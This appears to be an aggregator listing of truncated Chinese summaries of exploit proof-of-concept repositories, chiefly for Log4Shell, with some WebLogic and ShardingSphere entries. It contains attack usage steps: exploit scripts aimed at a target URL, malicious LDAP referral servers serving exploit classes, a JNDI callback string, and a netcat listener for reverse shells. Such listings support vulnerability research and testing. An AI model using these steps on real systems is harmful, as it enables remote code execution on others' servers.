log4j-CVE-2021-44228-test

log4j-CVE-2021-44228-test 演示项目，用于展示如何利用 log4j（CVE-2021-44228）漏洞 使用 Spring Boot 只是为了快速搭建。请原谅所有硬编码，这只是一个 POC。 使用方法 确保已安装 Java 8。使用 Maven 构建 mvn clean package -DskipTests。在单独的 shell 窗口中运行以下命令： root@kitploit: java -jar vulnerable-server/target/vulnerable-server.jar java -jar...

log4j-cve-2021-44228-sample

一个log4j漏洞利用示例 该仓库包含一个利用近期log4j漏洞的可行示例。它并不执行实际的远程代码执行，而是向您展示恶意攻击者可以多么轻易地让一个存在漏洞的应用程序调用其自身的ldap服务器。 本示例使用了 christophetd 创建的优秀log4j漏洞示例应用：https://github.com/christophetd/log4shell-vulnerable-app 说明 该漏洞利用了log4j的lookup功能，特别是jndi——它允许log4j从外部主机执行查询以获取数据输入。此漏洞可被利用来实现从记录环境中的敏感变量到远程执行代码等多种行为。...

CVE-2021-44228-POC

CVE-2021-44228-POC 利用 CVE-2021-44228 下载 nuclei sudo cp nuclei /usr/bin/nuclei sudo chmod +x /usr/bin/nuclei git clone https://github.com/sec13b/CVE-2021-44228-POC.git mv CVE-2021-44228-POC log4shellexploit mkdir yaml mv .yaml yaml/ 运行： python3 log4shellexploit.py http://iptoexploit --nucleipath...

apache-tomcat-log4j

Log4j2 CVE-2021-44228 漏洞概念验证（Apache Tomcat 环境） 预览 设置 启动 tomcat 服务器 root@kitploit: git clone cd apache-tomcat-10.0.14/bin startup.bat 提供利用类 root@kitploit: cd exploit py -m http.server 8888 root@kitploit: cd exploit java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer...

CVE-2024-21006

1、没什么好说的就是一个ldap利用。 2、请检查ldap服务请求日志。 3、目标版本需要在Oracle WebLogic Server 为 12.2.1.4.0 和 14.1.1.0.0。并且需要在低版本jdk。 4、使用JNDIExploit-1.4-SNAPSHOT.jar开启ldap服务。...

log4shell-test-exploit

CVE-2021-44228 log4shell 漏洞测试利用 准备工作 root@kitploit: 安装 Nodejs HTTP 服务器 npm -g i http-server 构建受害应用 cd victim-app mvn install 编译木马 cd test-trojan javac Trojan.java 构建 marshalsec（需要 Java 8） git clone [email protected]:mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests 构建...

log4j-shell-poc

log4j-shell-poc 针对近期发现的 CVE-2021-44228 漏洞的概念验证。 最近在 log4j（一个广泛用于 Elasticsearch、Minecraft 等众多场景的 Java 日志库）中发现了一个新漏洞。 本仓库包含一个示例漏洞应用及其概念验证（POC）利用代码。 概念验证（POC） 作为 PoC，这里有一个 Python 文件可自动化整个过程。 环境要求： root@kitploit: pip install -r requirements.txt 使用方法： 启动一个 netcat 监听器以接收反弹 Shell 连接。 root@kitploit: nc...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2021-2394

CVE-2021-2394 POC of CVE-2021-2394 免责声明 项目仅供学习使用，任何未授权检测造成的直接或者间接的后果及损失，均由使用者本人负责 注意事项 POC使用IIOP发包，请添加相关依赖（已将12.2.1.3.0版本的依赖放release） 请使用低版本的jdk安装weblogic进行测试 基于RMI的利用方式，JDK版本限制于6u132、7u131、8u121之前，在8u122及之后的版本中，加入了反序列化白名单的机制，关闭了RMI远程加载代码...

EUVD-2021-28309

Malicious code in bioql PyPI...

Critical Path InJoin Directory Server 4.0 - File Disclosure

Critical Path InJoin Directory Server 4.0 - File Disclosure source: https://www.securityfocus.com/bid/4718/info Critical Path provides an LDAP Lightweight Directory Access Protocol Directory Server called InJoin. InJoin Directory Server is provided for Microsoft Windows operating systems and Unix...